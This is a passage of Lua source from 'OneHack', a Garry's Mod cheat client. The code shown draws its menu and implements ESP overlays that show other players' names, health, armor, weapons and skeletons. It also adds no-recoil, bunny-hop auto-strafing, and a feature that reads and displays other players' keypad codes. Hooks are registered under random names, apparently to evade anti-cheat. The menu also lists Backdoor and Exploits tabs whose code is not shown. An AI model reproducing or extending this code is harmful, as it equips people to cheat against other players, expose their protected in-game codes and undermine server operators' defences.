1733 onehack.selectedpanel = logsmenuopt
1734 end
1735
1736 function esppanel()
1737 esppanel = vgui.Create( "DPanel" , framesag )
1738 esppanel:SetPos( 126, 9 )
1739 esppanel:SetSize( framesag:GetWide()-120-13, framesag:GetTall()-16 )
1740 function esppanel:Paint( w, h )
1741 draw.RoundedBox( 0, 0, 0, w, h, onehack.theme.backgroundalt )
1742 end
1743
1744 local esbenable = vgui.Create("DCheckBox",esppanel)
1745 esbenable:SetPos(5,5)
1746 esbenable:SetValue(onehack.Vars['ESP'])
1747 esbenable:SetSize(100,17)
1748 function esbenable:Paint(w,h)
1749 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1750 if esbenable:GetChecked() then
1751 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1752 end
1753 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1754 draw.SimpleText("Enabled","DermaDefault",24,h/2,Color(255,255,255),0,1)
1755 onehack.Vars['ESP'] = esbenable:GetChecked()
1756 end
1757
1758 local shownames = vgui.Create("DCheckBox",esppanel)
1759 shownames:SetPos(5,27)
1760 shownames:SetValue(onehack.Vars['ESP_NAME'])
1761 shownames:SetSize(100,17)
1762 function shownames:Paint(w,h)
1763 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1764 if shownames:GetChecked() then
1765 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1766 end
1767 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1768 draw.SimpleText("Name","DermaDefault",24,h/2,Color(255,255,255),0,1)
1769 onehack.Vars['ESP_NAME'] = shownames:GetChecked()
1770 end
1771
1772 local showgroup = vgui.Create("DCheckBox",esppanel)
1773 showgroup:SetPos(5,49)
1774 showgroup:SetValue(onehack.Vars['ESP_GROUP'])
1775 showgroup:SetSize(100,17)
1776 function showgroup:Paint(w,h)
1777 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1778 if showgroup:GetChecked() then
1779 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1780 end
1781 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1782 draw.SimpleText("User group","DermaDefault",24,h/2,Color(255,255,255),0,1)
1783 onehack.Vars['ESP_GROUP'] = showgroup:GetChecked()
1784 end
1785
1786 local showteam = vgui.Create("DCheckBox",esppanel)
1787 showteam:SetPos(5,72)
1788 showteam:SetValue(onehack.Vars['ESP_TEAM'])
1789 showteam:SetSize(100,17)
1790 function showteam:Paint(w,h)
1791 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1792 if showteam:GetChecked() then
1793 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1794 end
1795 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1796 draw.SimpleText("Team name","DermaDefault",24,h/2,Color(255,255,255),0,1)
1797 onehack.Vars['ESP_TEAM'] = showteam:GetChecked()
1798 end
1799
1800 local showhealthnumber = vgui.Create("DCheckBox",esppanel)
1801 showhealthnumber:SetPos(5,94)
1802 showhealthnumber:SetValue(onehack.Vars['ESP_HP'])
1803 showhealthnumber:SetSize(100,17)
1804 function showhealthnumber:Paint(w,h)
1805 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1806 if showhealthnumber:GetChecked() then
1807 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1808 end
1809 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1810 draw.SimpleText("Health number","DermaDefault",24,h/2,Color(255,255,255),0,1)
1811 onehack.Vars['ESP_HP'] = showhealthnumber:GetChecked()
1812 end
1813
1814 local showhealtbox = vgui.Create("DCheckBox",esppanel)
1815 showhealtbox:SetPos(5,116)
1816 showhealtbox:SetValue(onehack.Vars['ESP_HPBOX'])
1817 showhealtbox:SetSize(100,17)
1818 function showhealtbox:Paint(w,h)
1819 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1820 if showhealtbox:GetChecked() then
1821 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1822 end
1823 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1824 draw.SimpleText("Health box","DermaDefault",24,h/2,Color(255,255,255),0,1)
1825 onehack.Vars['ESP_HPBOX'] = showhealtbox:GetChecked()
1826 end
1827
1828 local showarmornumber = vgui.Create("DCheckBox",esppanel)
1829 showarmornumber:SetPos(5,137)
1830 showarmornumber:SetValue(onehack.Vars['ESP_ARMOR'])
1831 showarmornumber:SetSize(100,17)
1832 function showarmornumber:Paint(w,h)
1833 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1834 if showarmornumber:GetChecked() then
1835 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1836 end
1837 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1838 draw.SimpleText("Armor number","DermaDefault",24,h/2,Color(255,255,255),0,1)
1839 onehack.Vars['ESP_ARMOR'] = showarmornumber:GetChecked()
1840 end
1841
1842 local showarmorbox = vgui.Create("DCheckBox",esppanel)
1843 showarmorbox:SetPos(5,159)
1844 showarmorbox:SetValue(onehack.Vars['ESP_ARMORBOX'])
1845 showarmorbox:SetSize(100,17)
1846 function showarmorbox:Paint(w,h)
1847 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1848 if showarmorbox:GetChecked() then
1849 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1850 end
1851 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1852 draw.SimpleText("Armor box","DermaDefault",24,h/2,Color(255,255,255),0,1)
1853 onehack.Vars['ESP_ARMORBOX'] = showarmorbox:GetChecked()
1854 end
1855
1856 local showammonumber = vgui.Create("DCheckBox",esppanel)
1857 showammonumber:SetPos(5,181)
1858 showammonumber:SetValue(onehack.Vars['ESP_WEAPON'])
1859 showammonumber:SetSize(100,17)
1860 function showammonumber:Paint(w,h)
1861 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1862 if showammonumber:GetChecked() then
1863 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1864 end
1865 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1866 draw.SimpleText("Weapon name","DermaDefault",24,h/2,Color(255,255,255),0,1)
1867 onehack.Vars['ESP_WEAPON'] = showammonumber:GetChecked()
1868 end
1869
1870 local showbox = vgui.Create("DCheckBox",esppanel)
1871 showbox:SetPos(5,202)
1872 showbox:SetValue(onehack.Vars['ESP_BOX'])
1873 showbox:SetSize(100,17)
1874 function showbox:Paint(w,h)
1875 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1876 if showbox:GetChecked() then
1877 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1878 end
1879 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1880 draw.SimpleText("Box","DermaDefault",24,h/2,Color(255,255,255),0,1)
1881 onehack.Vars['ESP_BOX'] = showbox:GetChecked()
1882 end
1883
1884 local showskelet = vgui.Create("DCheckBox",esppanel)
1885 showskelet:SetPos(5,224)
1886 showskelet:SetValue(onehack.Vars['ESP_SKELET'])
1887 showskelet:SetSize(100,17)
1888 function showskelet:Paint(w,h)
1889 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1890 if showskelet:GetChecked() then
1891 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1892 end
1893 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1894 draw.SimpleText("Skeleton","DermaDefault",24,h/2,Color(255,255,255),0,1)
1895 onehack.Vars['ESP_SKELET'] = showskelet:GetChecked()
1896 end
1897
1898 local norecoil = vgui.Create("DCheckBox",esppanel)
1899 norecoil:SetPos(5,260)
1900 norecoil:SetValue(onehack.Vars['NoRecoil'])
1901 norecoil:SetSize(100,17)
1902 function norecoil:Paint(w,h)
1903 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1904 if norecoil:GetChecked() then
1905 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1906 end
1907 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1908 draw.SimpleText("No recoil","DermaDefault",24,h/2,Color(255,255,255),0,1)
1909 onehack.Vars['NoRecoil'] = norecoil:GetChecked()
1910 end
1911
1912 local Crosshair = vgui.Create("DCheckBox",esppanel)
1913 Crosshair:SetPos(5,282)
1914 Crosshair:SetValue(onehack.Vars['Crosshair'])
1915 Crosshair:SetSize(100,17)
1916 function Crosshair:Paint(w,h)
1917 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1918 if Crosshair:GetChecked() then
1919 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1920 end
1921 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1922 draw.SimpleText("Crosshair","DermaDefault",24,h/2,Color(255,255,255),0,1)
1923 onehack.Vars['Crosshair'] = Crosshair:GetChecked()
1924 end
1925
1926 local preview = vgui.Create("DPanel",esppanel)
1927 preview:SetPos(212,5)
1928 preview:SetSize(250,373)
1929 function preview:Paint(w,h)
1930 onehack.DrawRect(0,0,w,h,Color(255,255,255,10))
1931 onehack.DrawOutLinedRect(0,0,w,h,onehack.theme.backgroundalt2)
1932
1933 if onehack.Vars['ESP_NAME'] then
1934 draw.SimpleTextOutlined("Garry :D","default",w/2, 50,Color(255,255,255),1,1,1,Color(0,0,0))
1935 end
1936
1937 if onehack.Vars['ESP_WEAPON'] then
1938 draw.SimpleTextOutlined("Crowbar","default",w/2, h-50,Color(255,255,255),1,1,1,Color(0,0,0))
1939 end
1940
1941 if onehack.Vars['ESP_TEAM'] then
1942 draw.SimpleTextOutlined("Citizen","default",w-54, 65,Color(50,255,50),0,1,1,Color(0,0,0))
1943 end
1944
1945 if onehack.Vars['ESP_GROUP'] then
1946 draw.SimpleTextOutlined("Admin","default",w-54, 80,Color(255,255,255),0,1,1,Color(0,0,0))
1947 end
1948
1949 if onehack.Vars['ESP_HP'] then
1950 draw.SimpleTextOutlined("100%","default",58,56,Color(150,255,0),0,1,1,Color(0,0,0))
1951 end
1952
1953 if onehack.Vars['ESP_HPBOX'] then
1954 onehack.DrawOutLinedRect(53,60,6,h-120,Color(0,0,0))
1955 onehack.DrawRect(54,61,4,h-122,Color(150,255,0))
1956 --onehack.DrawOutLinedRect(56,60,5,h-120,Color(0,0,0))
1957 end
1958
1959 if onehack.Vars['ESP_ARMOR'] then
1960 draw.SimpleTextOutlined("100%","default",46,56,Color(19,136,191),2,1,1,Color(0,0,0))
1961 end
1962
1963 if onehack.Vars['ESP_ARMORBOX'] then
1964 onehack.DrawOutLinedRect(46,60,6,h-120,Color(0,0,0))
1965 onehack.DrawRect(47,61,4,h-122,Color(19,136,191))
1966 --onehack.DrawOutLinedRect(56,60,5,h-120,Color(0,0,0))
1967 end
1968
1969 if onehack.Vars['ESP_BOX'] then
1970 onehack.DrawOutLinedRect(60,60,w-120,h-120,Color(0,0,0))
1971 onehack.DrawOutLinedRect(61,61,w-122,h-122,Color(255,255,255))
1972 onehack.DrawOutLinedRect(62,62,w-124,h-124,Color(0,0,0))
1973 end
1974 end
1975
1976 if onehack.selectedpanel != nil then
1977 onehack.selectedpanel:Remove()
1978 end
1979 onehack.selectedpanel_id = 5
1980 onehack.selectedpanel = esppanel
1981 end
1982
1983 function aimpanel()
1984 aimpanel = vgui.Create( "DPanel" , framesag )
1985 aimpanel:SetPos( 126, 9 )
1986 aimpanel:SetSize( framesag:GetWide()-120-13, framesag:GetTall()-16 )
1987 function aimpanel:Paint( w, h )
1988 draw.RoundedBox( 0, 0, 0, w, h, onehack.theme.backgroundalt )
1989 draw.SimpleText("Coming soon...","DermaDefault",w/2,h/2,Color(255,255,255,100),1,1)
1990 end
1991
1992 if onehack.selectedpanel != nil then
1993 onehack.selectedpanel:Remove()
1994 end
1995 onehack.selectedpanel_id = 5
1996 onehack.selectedpanel = aimpanel
1997 end
1998
1999 PanelAddButton("Aimbot",aimpanel,6)
2000 PanelAddButton("Visuals",esppanel,5)
2001 PanelAddButton("Backdoor",onehackdooropt,1)
2002 PanelAddButton("Exploits",exploitmenuopt,2)
2003 PanelAddButton("Options",optionsmenuopt,3)
2004 PanelAddButton("Logs",logsmenuopt,4)
2005 onehackdooropt()
2006end
2007function myfunc()
2008 if input.IsKeyDown( KEY_F11 ) then
2009 if not timer.Exists("FW.MenuIsPressed") then
2010 if IsValid(framesag) then
2011 framesag:Remove()
2012 else
2013 MainFunc()
2014 end
2015 timer.Create("FW.MenuIsPressed",0.3,1,function() end)
2016 end
2017 end
2018
2019 if input.IsKeyDown( KEY_F9 ) then
2020 if not timer.Exists("FW.MenuIsPressedF9") then
2021 onehack.Vars['FCAM'] = !onehack.Vars['FCAM']
2022 timer.Create("FW.MenuIsPressedF9",0.3,1,function() end)
2023 end
2024 end
2025end
2026onehack.DebugLog( "Onehack loaded successfully!", Color(100,255,100) )
2027onehack.DebugLog( "onehack version v2.44, build 13.05.2019", Color(255,255,255) )
2028hook.Add("Think","twsgsh",myfunc)
2029
2030
2031local me = LocalPlayer();
2032function onehack.CreateMove(cmd)
2033 local memfootprint = gcinfo()
2034 if(!onehack.Vars['BHOP']) then return; end
2035 if(!me:IsOnGround() && cmd:KeyDown(IN_JUMP)) then
2036 cmd:RemoveKey(IN_JUMP);
2037 if(onehack.Vars['AUTOSTRAFER']) then
2038 if(cmd:GetMouseX() > 1 || cmd:GetMouseX() < -1) then
2039 cmd:SetSideMove(cmd:GetMouseX() > 1 && 400 || -400);
2040 else
2041 cmd:SetForwardMove(5850 / me:GetVelocity():Length2D());
2042 cmd:SetSideMove((cmd:CommandNumber() % 2 == 0) && -400 || 400);
2043 end
2044 end
2045 elseif(cmd:KeyDown(IN_JUMP) && onehack.Vars['AUTOSTRAFER']) then
2046 cmd:SetForwardMove(10000);
2047 end
2048 onehack.memory["logic"] = gcinfo() - memfootprint
2049end
2050hook.Add("CreateMove", onehack.RandomString(10), function(cmd)
2051 onehack.CreateMove(cmd);
2052end);
2053
2054function onehack.CalcView( ply, pos, angles, fov )
2055 if !me:IsValid() or !me:Alive() or me:GetViewEntity() != me or me:InVehicle() then return end
2056 local tps = {}
2057 if onehack.Vars['NoRecoil'] then
2058 tps.angles = me:EyeAngles()
2059 return tps
2060 end
2061end
2062hook.Add("CalcView", onehack.RandomString(10), onehack.CalcView)
2063
2064
2065local function coordinates( ent )
2066local min, max = ent:OBBMins(), ent:OBBMaxs()
2067local corners = {
2068 Vector( min.x, min.y, min.z ),
2069 Vector( min.x, min.y, max.z ),
2070 Vector( min.x, max.y, min.z ),
2071 Vector( min.x, max.y, max.z ),
2072 Vector( max.x, min.y, min.z ),
2073 Vector( max.x, min.y, max.z ),
2074 Vector( max.x, max.y, min.z ),
2075 Vector( max.x, max.y, max.z )
2076}
2077
2078local minX, minY, maxX, maxY = ScrW() * 2, ScrH() * 2, 0, 0
2079for _, corner in pairs( corners ) do
2080 local onScreen = ent:LocalToWorld( corner ):ToScreen()
2081 minX, minY = math.min( minX, onScreen.x ), math.min( minY, onScreen.y )
2082 maxX, maxY = math.max( maxX, onScreen.x ), math.max( maxY, onScreen.y )
2083end
2084function drawfillbox( mag,value,left,top,right,bottom,r,g,b,a )
2085 local poly = {
2086 {x=left,y=top},
2087 {x=right,y=top},
2088 {x=right,y=bottom},
2089 {x=left,y=bottom}
2090 }
2091 surface.SetDrawColor( r,g,b,a )
2092 draw.NoTexture()
2093 surface.DrawPoly(poly)
2094 draw.SimpleTextOutlined(value,"default",left + (right - left) / 2,top,Color(r,g,b,a),mag,1,1,Color(0,0,0))
2095end
2096return minX, minY, maxX, maxY
2097end
2098hook.Add("OnEntityCreated",onehack.RandomString(17),function(ent)
2099 onehack.DebugLog( ent:GetClass().." spawned on ("..tostring(ent:GetPos())..")", Color(100,100,100) )
2100end)
2101hook.Add( "PostDrawOpaqueRenderables", onehack.RandomString(17), function()
2102 if onehack.Vars['WEAPON_LIST3D'] then
2103 for k,vv in pairs(player.GetAll()) do
2104 if vv:IsValid() and vv ~= LocalPlayer() and vv:GetPos():Distance(LocalPlayer():GetPos()) < 600 and onehack.Vars['FCAM'] and vv:Alive() or (vv:GetPos():Distance(LocalPlayer():GetPos()) < 255 and vv ~= LocalPlayer() and vv:Alive()) then
2105 local rot = (vv:GetPos() - EyePos()):Angle().yaw - 90
2106 local ang = Angle(0,rot,90)
2107 cam.Start3D2D( vv:EyePos()+2*ang:Up(), ang-Angle(0,30,0), 0.15 )
2108 local otstup = 0
2109 local toleft = 160
2110 local alpha = 255 - vv:GetPos():Distance(LocalPlayer():GetPos())
2111 surface.SetDrawColor( 255, 165, 0, alpha )
2112 surface.DrawRect( toleft, 0, 150, 1 )
2113 surface.SetDrawColor( 0, 0, 0, alpha )
2114 surface.SetMaterial(Material("gui/gradient_down"))
2115 surface.DrawTexturedRect( toleft, 1, 150, alpha/2 )
2116 for k,v in pairs(vv:GetWeapons()) do
2117 surface.SetDrawColor( 255, 255, 255, alpha/2 )
2118 surface.SetMaterial(Material("gui/gradient_down"))
2119 surface.DrawTexturedRect( 4+toleft, 4+otstup, 92+50, 15 )
2120 if vv:GetActiveWeapon():IsValid() and vv:GetActiveWeapon() == v then
2121 surface.SetDrawColor( 255, 165, 0, alpha/2 )
2122 surface.SetMaterial(Material("gui/gradient_up"))
2123 surface.DrawTexturedRect( 4+toleft, 4+otstup, 92+50, 15 )
2124 elseif string.find(v:GetClass(),"m9k") or string.find(v:GetClass(),"swb") or string.find(v:GetClass(),"csgo") or string.find(v:GetClass(),"ptp") then
2125 surface.SetDrawColor( 255, 0, 0, alpha/2 )
2126 surface.SetMaterial(Material("gui/gradient_up"))
2127 surface.DrawTexturedRect( 4+toleft, 4+otstup, 92+50, 15 )
2128 end
2129 if vv:GetActiveWeapon():IsValid() and vv:GetActiveWeapon() == v then
2130 surface.SetDrawColor( 255, 165, 0, alpha )
2131 elseif string.find(v:GetClass(),"m9k") or string.find(v:GetClass(),"swb") or string.find(v:GetClass(),"csgo") or string.find(v:GetClass(),"ptp") then
2132 surface.SetDrawColor( 255, 0, 0, alpha/2 )
2133 else
2134 surface.SetDrawColor( 255, 255, 255, alpha )
2135 end
2136 surface.DrawOutlinedRect( 4+toleft, 4+otstup, 92+50, 15 )
2137
2138 draw.SimpleText(v:GetPrintName(),"DermaDefault",8+toleft, 5+otstup,Color(0,0,0,alpha))
2139 draw.SimpleText(v:GetPrintName(),"DermaDefault",8+toleft+1, 5+otstup-1,Color(255,255,255,alpha))
2140 otstup = otstup + 19
2141 end
2142 cam.End3D2D()
2143 end
2144 end
2145 end
2146
2147 if onehack.Vars['keypad_jiw'] then
2148 for k, e in pairs(ents.FindInSphere( LocalPlayer():GetPos(), 100 )) do
2149 if IsValid(e) and string.find( e:GetClass(), "Keypad") then
2150 local text;
2151 local color;
2152 if(e.code && e.code != "") then
2153 text = e.code;
2154 color = Color( 105, 255, 105, 150 )
2155 elseif(e.tempCode && e.tempCode != "") then
2156 text = e.tempCode;
2157 color = Color( 250, 150, 150, 150 )
2158 else
2159 text = "Unkn"
2160 color = Color(150,150,150,150)
2161 end
2162 local rot = (e:GetPos() - EyePos()):Angle().yaw - 90
2163 local rot2 = -(e:GetPos() - EyePos()):Angle().pich +90
2164 local ang = Angle(0,rot,rot2)
2165 cam.Start3D2D( e:GetPos()+Vector(0,0,2), ang-Angle(0,30,0), 0.15 )
2166 local otstup = 0
2167 local toleft = 40
2168 local alpha = 255-(e:GetPos():Distance(LocalPlayer():GetPos()))
2169 surface.SetDrawColor( color.r, color.g, color.b, alpha )
2170 surface.DrawRect( toleft, 0, 40, 1 )
2171 surface.SetDrawColor( 0, 0, 0, alpha )
2172 surface.SetMaterial(Material("gui/gradient_down"))
2173 surface.DrawTexturedRect( toleft, 1, 40, 30 )
2174 draw.SimpleText(text,"DermaDefault",8+toleft, 5+otstup,Color(255,255,255,alpha))
2175 cam.End3D2D()
2176 end
2177 end
2178 end
2179end )
2180hook.Add("HUDPaint", onehack.RandomString(17), function()
2181if onehack.Vars['WaterMark'] then
2182 surface.SetFont("DermaDefault")
2183 local tw,th = surface.GetTextSize("OneHack.su | "..math.Round(1/FrameTime()).." FPS | "..LocalPlayer():Ping().." PING | "..onehack.memory['hud']+onehack.memory['logic'].." KB | "..LocalPlayer():Name())
2184 tw = tw + 3
2185 onehack.DrawRect(5,5,10+tw,25,Color(onehack.theme.chroma.r,onehack.theme.chroma.g,onehack.theme.chroma.b,150))
2186 onehack.DrawRect(9,9,2+tw,17,Color(onehack.theme.chromaalt.r,onehack.theme.chromaalt.g,onehack.theme.chromaalt.b,150))
2187 onehack.DrawOutLinedRect(5,5,10+tw,25,Color(0,0,0,50))
2188 onehack.DrawOutLinedRect(9,9,2+tw,17,Color(0,0,0,50))
2189 draw.SimpleText("OneHack.su | "..math.Round(1/FrameTime()).." FPS | "..LocalPlayer():Ping().." PING | "..onehack.memory['hud']+onehack.memory['logic'].." KB | "..LocalPlayer():Name(),"DermaDefault",12,10,Color(255,255,255))
2190end
2191local memfootprintss = gcinfo()
2192if not onehack.Vars['ESP'] then return end
2193if onehack.Vars['Crosshair'] then
2194 onehack.Drawline(ScrW()/2,ScrH()/2,(ScrW()/2)+5,(ScrH()/2)+5,Color(255,255,255,100))
2195 onehack.Drawline(ScrW()/2,ScrH()/2,(ScrW()/2)-5,(ScrH()/2)+5,Color(255,255,255,100))
2196end
2197for k,v in pairs(player.GetAll()) do
2198 local left,top,right,bottom = coordinates(v)
2199 local dist = v:GetPos():Distance(LocalPlayer():GetPos())
2200 if v ~= LocalPlayer() then
2201 if dist > 20 then
2202 if v:Alive() then
2203 if left ~= 0 and right ~= 0 and top ~= 0 and bottom ~= 0 then
2204 if onehack.Vars['ESP_BOX'] then
2205 surface.SetDrawColor(Color(255,255,255))
2206 surface.DrawLine( left, top, right, top )
2207 surface.DrawLine( left, top, left, bottom )
2208 surface.DrawLine( right, top, right, bottom )
2209 surface.DrawLine( left, bottom, right, bottom )
2210
2211 surface.SetDrawColor(Color(0,0,0))
2212 surface.DrawLine( left-1, top-1, right+1, top-1 )
2213 surface.DrawLine( left-1, top-1, left-1, bottom+1 )
2214 surface.DrawLine( right+1, top-1, right+1, bottom+1 )
2215 surface.DrawLine( left-1, bottom+1, right+1, bottom+1 )
2216
2217 surface.SetDrawColor(Color(0,0,0))
2218 surface.DrawLine( left+1, top+1, right-1, top+1 )
2219 surface.DrawLine( left+1, top+1, left+1, bottom-1 )
2220 surface.DrawLine( right-1, top+1, right-1, bottom-1 )
2221 surface.DrawLine( left+1, bottom-1, right-1, bottom-1 )
2222 end
2223
2224 local hpdraw = {
2225 {x=left-4,y=top},
2226 {x=left-2,y=top},
2227 {x=left-2,y=bottom},
2228 {x=left-4,y=bottom}
2229 }
2230 if onehack.Vars['ESP_NAME'] then
2231 draw.SimpleTextOutlined(v:GetName(),"default",left + (right - left) / 2, top - 10,Color(255,255,255),1,1,1,Color(0,0,0))
2232 end
2233
2234 if IsValid(v:GetActiveWeapon()) and onehack.Vars['ESP_WEAPON'] then
2235 draw.SimpleTextOutlined(v:GetActiveWeapon():GetPrintName() or v:GetActiveWeapon():GetClass(),"default",left + (right - left) / 2, bottom + 10,Color(255,255,255),1,1,1,Color(0,0,0))
2236 end
2237 w, h = ScrW(), ScrH()
2238 w = w/2
2239 local hp = math.min(v:Health(), 100)
2240 local height = bottom - top - 1
2241 local healthbar_height = (hp / 100) * height
2242 local healthbar_height2 = (100 / 100) * height
2243 local width = (w * (hp / 100.0))
2244 local red = 255 - (hp*2.55)
2245 local green = hp * 2.55
2246 if onehack.Vars['ESP_HP'] then numb = v:Health().."%" else numb = "" end
2247 if onehack.Vars['ESP_HPBOX'] then
2248 drawfillbox( 0,"", left - 8, bottom - healthbar_height2 - 2,left - 2, bottom,0,0,0,255 )
2249 drawfillbox( 0,"", left - 7, bottom - healthbar_height2 - 1,left - 3, bottom-1,0,200,0,40 )
2250 drawfillbox( 0,numb, left - 7, bottom - healthbar_height - 1,left - 3, bottom-1,red,green,0,255 )
2251 end
2252 local ar = math.min(v:Armor(), 100)
2253 local armorbar_height = (ar / 100) * height
2254 local numb
2255 if onehack.Vars['ESP_ARMOR'] then numb = v:Armor().."%" else numb = "" end
2256 if onehack.Vars['ESP_ARMORBOX'] then
2257 drawfillbox( 0,"", left - 15, bottom - healthbar_height2 - 2,left - 10, bottom,0,0,0,255 )
2258 drawfillbox( 0,"", left - 14, bottom - healthbar_height2 - 1,left - 11, bottom-1,0,200,0,40 )
2259 drawfillbox( 2,numb, left - 14, bottom - armorbar_height - 1,left - 11, bottom-1,19,136,191,255 )
2260 end
2261 local plys = v
2262 local Bones = {}
2263 local sBones = {
2264 "ValveBiped.Bip01_Head1",
2265 "ValveBiped.Bip01_Neck1",
2266 "ValveBiped.Bip01_Spine4",
2267 "ValveBiped.Bip01_Spine2",
2268 "ValveBiped.Bip01_Spine1",
2269 "ValveBiped.Bip01_Spine",
2270 "ValveBiped.Bip01_Pelvis",
2271 "ValveBiped.Bip01_R_UpperArm",
2272 "ValveBiped.Bip01_R_Forearm",
2273 "ValveBiped.Bip01_R_Hand",
2274 "ValveBiped.Bip01_L_UpperArm",
2275 "ValveBiped.Bip01_L_Forearm",
2276 "ValveBiped.Bip01_L_Hand",
2277 "ValveBiped.Bip01_R_Thigh",
2278 "ValveBiped.Bip01_R_Calf",
2279 "ValveBiped.Bip01_R_Foot",
2280 "ValveBiped.Bip01_R_Toe0",
2281 "ValveBiped.Bip01_L_Thigh",
2282 "ValveBiped.Bip01_L_Calf",
2283 "ValveBiped.Bip01_L_Foot",
2284 "ValveBiped.Bip01_L_Toe0"
2285 }
2286 local Success = true
2287 for k, v in pairs(sBones) do
2288 if plys:LookupBone(v) != nil && plys:GetBonePosition(plys:LookupBone(v)) != nil then
2289 table.insert( Bones, plys:GetBonePosition(plys:LookupBone(v)):ToScreen() )
2290 else
2291 Success = false
2292 end
2293 end
2294 surface.SetDrawColor(Color(255,255,255))
2295 if Success and onehack.Vars['ESP_SKELET'] then
2296 surface.DrawLine( Bones[1].x, Bones[1].y, Bones[2].x, Bones[2].y )
2297 surface.DrawLine( Bones[2].x, Bones[2].y, Bones[3].x, Bones[3].y )
2298 surface.DrawLine( Bones[3].x, Bones[3].y, Bones[4].x, Bones[4].y )
2299 surface.DrawLine( Bones[4].x, Bones[4].y, Bones[5].x, Bones[5].y )
2300 surface.DrawLine( Bones[5].x, Bones[5].y, Bones[6].x, Bones[6].y )
2301 surface.DrawLine( Bones[6].x, Bones[6].y, Bones[7].x, Bones[7].y )
2302
2303 //Legs
2304 surface.DrawLine( Bones[7].x, Bones[7].y, Bones[14].x, Bones[14].y )
2305 surface.DrawLine( Bones[14].x, Bones[14].y, Bones[15].x, Bones[15].y )
2306 surface.DrawLine( Bones[15].x, Bones[15].y, Bones[16].x, Bones[16].y )
2307 surface.DrawLine( Bones[16].x, Bones[16].y, Bones[17].x, Bones[17].y )
2308
2309 surface.DrawLine( Bones[7].x, Bones[7].y, Bones[18].x, Bones[18].y )
2310 surface.DrawLine( Bones[18].x, Bones[18].y, Bones[19].x, Bones[19].y )
2311 surface.DrawLine( Bones[19].x, Bones[19].y, Bones[20].x, Bones[20].y )
2312 surface.DrawLine( Bones[20].x, Bones[20].y, Bones[21].x, Bones[21].y )
2313
2314 //Arms
2315 surface.DrawLine( Bones[3].x, Bones[3].y, Bones[8].x, Bones[8].y )
2316 surface.DrawLine( Bones[8].x, Bones[8].y, Bones[9].x, Bones[9].y )
2317 surface.DrawLine( Bones[9].x, Bones[9].y, Bones[10].x, Bones[10].y )
2318
2319 surface.DrawLine( Bones[3].x, Bones[3].y, Bones[11].x, Bones[11].y )
2320 surface.DrawLine( Bones[11].x, Bones[11].y, Bones[12].x, Bones[12].y )
2321 surface.DrawLine( Bones[12].x, Bones[12].y, Bones[13].x, Bones[13].y )
2322
2323 end
2324 if onehack.Vars['ESP_TEAM'] then
2325 draw.SimpleTextOutlined(team.GetName(v:Team()),"default",right+3, top,team.GetColor(v:Team()),0,0,1,Color(0,0,0))
2326 end
2327 if onehack.Vars['ESP_GROUP'] then
2328 draw.SimpleTextOutlined(v:GetUserGroup(),"default",right+3, top+11,Color(255,255,255),0,0,1,Color(0,0,0))
2329 end
2330 end
2331 end
2332end
2333end
2334end
2335
2336onehack.memory["hud"] = gcinfo() - memfootprintss
2337end)
2338local elements = {
2339 { -- Screen
2340 x = 0.075,
2341 y = 0.04,
2342 w = 0.85,
2343 h = 0.25,
2344
2345 },
2346 { -- ABORT
2347 x = 0.075,
2348 y = 0.04 + 0.25 + 0.03,
2349 w = 0.85 / 2 - 0.04 / 2 + 0.05,
2350 h = 0.125,
2351 text = "ABORT",
2352 },
2353 { -- OK
2354 x = 0.5 + 0.04 / 2 + 0.05,
2355 y = 0.04 + 0.25 + 0.03,
2356 w = 0.85 / 2 - 0.04 / 2 - 0.05,
2357 h = 0.125,
2358 text = "OK",
2359 }
2360}
2361
2362do -- Create numbers
2363 for i = 1, 9 do
2364 local column = (i - 1) % 3
2365
2366 local row = math.floor((i - 1) / 3)
2367
2368 local element = {
2369 x = 0.075 + (0.3 * column),
2370 y = 0.175 + 0.25 + 0.05 + ((0.5 / 3) * row),
2371 w = 0.25,
2372 h = 0.13,
2373 text = tostring(i),
2374 }
2375 table.insert(elements, element)
2376 end
2377end
2378
2379
2380function onehack.CalculateKeypadCursorPos(ply, ent)
